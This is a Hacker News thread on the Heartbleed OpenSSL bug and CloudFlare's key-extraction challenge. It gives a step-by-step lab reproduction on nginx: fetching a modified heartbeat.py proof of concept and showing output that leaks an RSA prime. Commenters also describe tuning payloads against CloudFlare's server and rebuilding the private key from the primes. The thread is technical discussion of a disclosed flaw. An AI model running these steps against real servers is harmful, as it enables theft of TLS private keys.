Hacker News new | comments | show | ask | jobs | submit login

i think cloudfare's version of nginx is a lucky version or my code is bugged or time after restart is important or you need to do some heap-fu by sending different payload sizes.

so i booted up a micro vm on amazon aws and was able to dump the private key in one request.

Ubuntu Server 13.10 (PV) - ami-35dbde5c

  sudo add-apt-repository ppa:nginx/development
  sudo apt-get update
  sudo apt-get install nginx
  sudo apt-get install ssl-cert
modify /etc/nginx/sites-enabled/default uncomment ssl server and change certs:

  ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
  ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;

  sudo /etc/init.d/nginx restart

  curl -O https://gist.githubusercontent.com/benmmurphy/12999c91a4d328b749e3/raw/9bcd402e3d9beec740a61a1585e24c36dea80859/heartbeat.py
  chmod u+x heartbeat.py

  ubuntu@ip-10-185-20-243:~$ ./heartbeat.py localhost /etc/ssl/certs/ssl-cert-snakeoil.pem
  Using modulus: C30FB990C6C1EE4EE4524A724BDF10DCDC735C9BCCED84B38796584DCE9F7CB1027CCF63A0E604882AE9B8639CD0955C207BE641943AE38AC4DAE63ECCE7E79ACE7EB9EB5D92F55761924C35A00EB5AE4759CB6DC938DBD48ED34685BC32B3193FEF55F081BB2BFC33494F26E556803FD2506F94301DFD688A63F9F3572C540F3F5E7679D5454E532503636ABFCB95AC5674D47C2B23C4418E04BE1D36AECF6BFEA81FC38FCA3E72A3EACD0BFD4E07FDC3BFA8E70E002ECA68FE8E0621F56081D90A3724A1BED6B5E3BDCDCC02B4EDEAFD0EC4D60C7DEC95BF7756CD82442915EE1AB6738F38B3BA932C8D27B34E94205C84AB64ACC34487ED2FF3804332AB63

  Using key size: 128
  Scanning localhost on port 443
  Connecting...
  Sending Client Hello...
  Waiting for Server Hello...
  Got length: 66
   ... received message: type = 22, ver = 0302, length = 66
  Message Type is 0x02
  Got length: 750
   ... received message: type = 22, ver = 0302, length = 750
  Message Type is 0x0B
  Got length: 331
   ... received message: type = 22, ver = 0302, length = 331
  Message Type is 0x0C
  Got length: 4
   ... received message: type = 22, ver = 0302, length = 4
  Message Type is 0x0E
  Server sent server hello done
  Server TLS version was 1.2

  Sending heartbeat request...
  Got length: 16384
   ... received message: type = 24, ver = 0302, length = 65551
  Received heartbeat response:
  Got result: 154948185083822336433702373602285084550034029190596792283600073258494868382158852796844241764405565518400264295279959791461705192749666707538790201985451035410116800023040704455951541838840288378897688943017357577574672157589664822948047455855119173651635078033464041188274590174256703712210173285385390714209
  found prime: 0xdca74e63a186d60a9de3c8211e21a5b165c6d86d285c1d6eece2ad7a2505890ebae513e3013c3602f148e2112eaa99edd8ff5922494c4db47156727f93ab0f35a298553a82dfbd91e5e8aff2e969f31db31263bce9a89d95b64ff38ff5b86d47fa2e70aac5198d2ea967eb952f48b7264e824bd03b1c955294fb9caeed02ed61L
you can check the prime by doing:

  ubuntu@ip-10-185-20-243:~$ sudo openssl rsa -in /etc/ssl/private/ssl-cert-snakeoil.key -text

  ..

  prime1:
      00:e2:4e:eb:f7:88:3a:d4:ad:61:2c:ef:6f:b2:a6:
      3b:dd:c4:99:89:f1:b4:6e:6b:ce:76:51:c3:23:f7:
      7a:37:69:f9:6c:eb:65:3d:cd:6a:f7:c9:97:96:b0:
      f6:39:72:8a:ca:f7:45:3c:ff:25:b0:dd:a9:c1:08:
      c3:aa:53:41:22:20:df:74:cb:1d:ad:ce:67:1d:11:
      00:15:33:65:1f:d4:b9:a8:2b:27:50:da:7c:a7:e1:
      88:d1:2c:d8:d9:32:07:ba:23:e1:40:fa:fa:94:46:
      7f:9b:35:a1:d2:e4:91:86:f6:f3:79:2f:53:fd:95:
      4d:99:56:b3:c0:be:97:6b:43
  prime2:
      00:dc:a7:4e:63:a1:86:d6:0a:9d:e3:c8:21:1e:21:
      a5:b1:65:c6:d8:6d:28:5c:1d:6e:ec:e2:ad:7a:25:
      05:89:0e:ba:e5:13:e3:01:3c:36:02:f1:48:e2:11:
      2e:aa:99:ed:d8:ff:59:22:49:4c:4d:b4:71:56:72:
      7f:93:ab:0f:35:a2:98:55:3a:82:df:bd:91:e5:e8:
      af:f2:e9:69:f3:1d:b3:12:63:bc:e9:a8:9d:95:b6:
      4f:f3:8f:f5:b8:6d:47:fa:2e:70:aa:c5:19:8d:2e:
      a9:67:eb:95:2f:48:b7:26:4e:82:4b:d0:3b:1c:95:
      52:94:fb:9c:ae:ed:02:ed:61
  ..

so the exploit is the most stupid one possible. i took the POC code and changed it to read all 64k. The version i had was reading only 14kb from the server. Then just check all the 128 byte strings to see if they divide the modulus evenly.



Wow, I just tested this on Debian and you're right - the simplest thing really does work. Kind of makes me wish I'd tried a little harder at CloudFlare's challenge; I had something pointed at their server and doing this early on, but shut it down after a couple of hours because it was using lots of CPU and not getting very far.

Edit: My code's tested too - the primes it gives me are exactly the same as the values in the private key

Edit 2: Doesn't even have to be the first request after restarting, I fired off a few hundred simple test requests first and it still worked. It's likely that any lightly-loaded nginx install on Debian was wide open.


i suspect getting the key on cloudflare is much harder :) it will be interesting to find out how they did it.


Well, the heavy load on CloudFlare's test server is probably making life harder by using up lots of RAM and filling it with uninteresting garbage, if nothing else. I'd be curious how a server with the same configuration but very light load fared.


with some slight modifications i was able to extract the private key from cloudflare. i'm not sure if the modifications were necessary or not....


I also got the Cloudflare private key with the same technique you describe, tried both incrementally increasing the payload size and choosing it at random (between 3 and 18427 bytes - anything higher than that triggered an alert). The incremental increase worked better: there was a range in the mid-hundreds that continually emitted one of the primes.

Other possible contributing factors: I was hammering the server with empty https requests hoping it would leave traces of calculation about, and was running a few dozen of the heartbeat keysearch in parallel. I don't know if either of these helped or not.

Who knows, maybe some anonymous benefactor carefully extracted the primes out of a more opaque data structure and uploaded them neatly back to the heap for us all to find!


I used the random payload size between 0 and 10,000. But sounds like you found a nice way to get the keys :) I looked at the openssl source code and I don't think it is possible in nginx for it to leak the intermediate results into memory. I suspect we are leaking one of the only two primes stored in memory. Another HN poster was able to break apache MPM and I strongly suspect they were leaking intermediate values: https://twitter.com/makomk/status/454761049955127296

i also thought an earlier discoverer might have been trolling us :)


Interesting. But from got the prime1 and prime2, from there how do you obtain the private certificate?


You now know the two primes (p,q) which multiply together to make n (the public key modulus). We also know e (the public key exponent).

d (the private key) is:-

    d = e^-1 mod ((p-1)(q-1))
To work this modular inverse out you use the extended Euclidean algorithm.

This is why you need to know the factorisation of n=(p*q). You can't compute d (the private key) with just the composite n.



Very interesting. So, just with the private key given p/q and the modulus is really possible to extract the private key? I saw the RSATool (https://github.com/ius/rsatool), but it needs an "n" and "d" parameter. So, how to use the output from this modified hertbeet exploit with RSATool since it only prints "Using Modulus", "Got result:" and "Found Prime" and all are much larger in comparison with parameters for RSATOOL. Thanks.


If you have modulus n and prime p, you can get the other prime q by dividing n by p. This gives you both primes, which is the input to RSA key generation (along with the public exponent which is usually 65537, but can be extracted from the X.509 certificate along with the modulus).


apparently these temp values are scrubbed by openssl. i would definitely verify because there could be some implementation bug that stops their scrubbing. so what nginx does is:

  handle_request:
    do_decryption
    scrub_temporaries
    write_to_client
  handle_another_request:
    ..
because nginx is single threaded there shouldn't be any requests handled between do_decryption and scrub_temporaries. but this is a problem on other servers.

  static int RSA_eay_private_decrypt(int flen, const unsigned char *from,
               unsigned char *to, RSA *rsa, int padding)
          {
        ...

        if (ctx != NULL)
                {
                BN_CTX_end(ctx);
                BN_CTX_free(ctx);
                }
        if (buf != NULL)
                {
                OPENSSL_cleanse(buf,num);
                OPENSSL_free(buf);
                }
        return(r);


  void BN_CTX_free(BN_CTX *ctx)
        {
        if (ctx == NULL)
                return;
  #ifdef BN_CTX_DEBUG
        {
        BN_POOL_ITEM *pool = ctx->pool.head;
        fprintf(stderr,"BN_CTX_free, stack-size=%d, pool-bignums=%d\n",
                ctx->stack.size, ctx->pool.size);
        fprintf(stderr,"dmaxs: ");
        while(pool) {
                unsigned loop = 0;
                while(loop < BN_CTX_POOL_SIZE)
                        fprintf(stderr,"%02x ", pool->vals[loop++].dmax);
                pool = pool->next;
        }
        fprintf(stderr,"\n");
        }
  #endif
        BN_STACK_finish(&ctx->stack);
        BN_POOL_finish(&ctx->pool);
        OPENSSL_free(ctx);
        }


  static void BN_POOL_finish(BN_POOL *p)
          {
          while(p->head)
                  {
                  unsigned int loop = 0;
                  BIGNUM *bn = p->head->vals;
                  while(loop++ < BN_CTX_POOL_SIZE)
                          {
                          if(bn->d) BN_clear_free(bn);
                          bn++;
                          }
                  p->current = p->head->next;
                  OPENSSL_free(p->head);
                  p->head = p->current;
                  }
          }


  void BN_clear_free(BIGNUM *a)
          {
          int i;

          if (a == NULL) return;
          bn_check_top(a);
          if (a->d != NULL)
                  {
                  OPENSSL_cleanse(a->d,a->dmax*sizeof(a->d[0]));
                  if (!(BN_get_flags(a,BN_FLG_STATIC_DATA)))
                          OPENSSL_free(a->d);
                  }
          i=BN_get_flags(a,BN_FLG_MALLOCED);
          OPENSSL_cleanse(a,sizeof(BIGNUM));
          if (i)
                  OPENSSL_free(a);
          }

  void OPENSSL_cleanse(void *ptr, size_t len)
          {
          unsigned char *p = ptr;
          size_t loop = len, ctr = cleanse_ctr;
          while(loop--)
                  {
                  *(p++) = (unsigned char)ctr;
                  ctr += (17 + ((size_t)p & 0xF));
                  }
          p=memchr(ptr, (unsigned char)ctr, len);
          if(p)
                  ctr += (63 + (size_t)p);
          cleanse_ctr = (unsigned char)ctr;
          }


Yeah, you're correct. So it seems that you don't need math to solve this challenge, but maybe luck and patience.



Yah, that's the trickiest part. I was pretty ecstatic when I found a real world use case for toy code that I spent way too much time on :)


I wrote a tool some time ago. It's 10 lines of Python using pyasn1.




Guidelines | FAQ | Support | API | Security | Lists | Bookmarklet | Legal | Apply to YC | Contact

Search: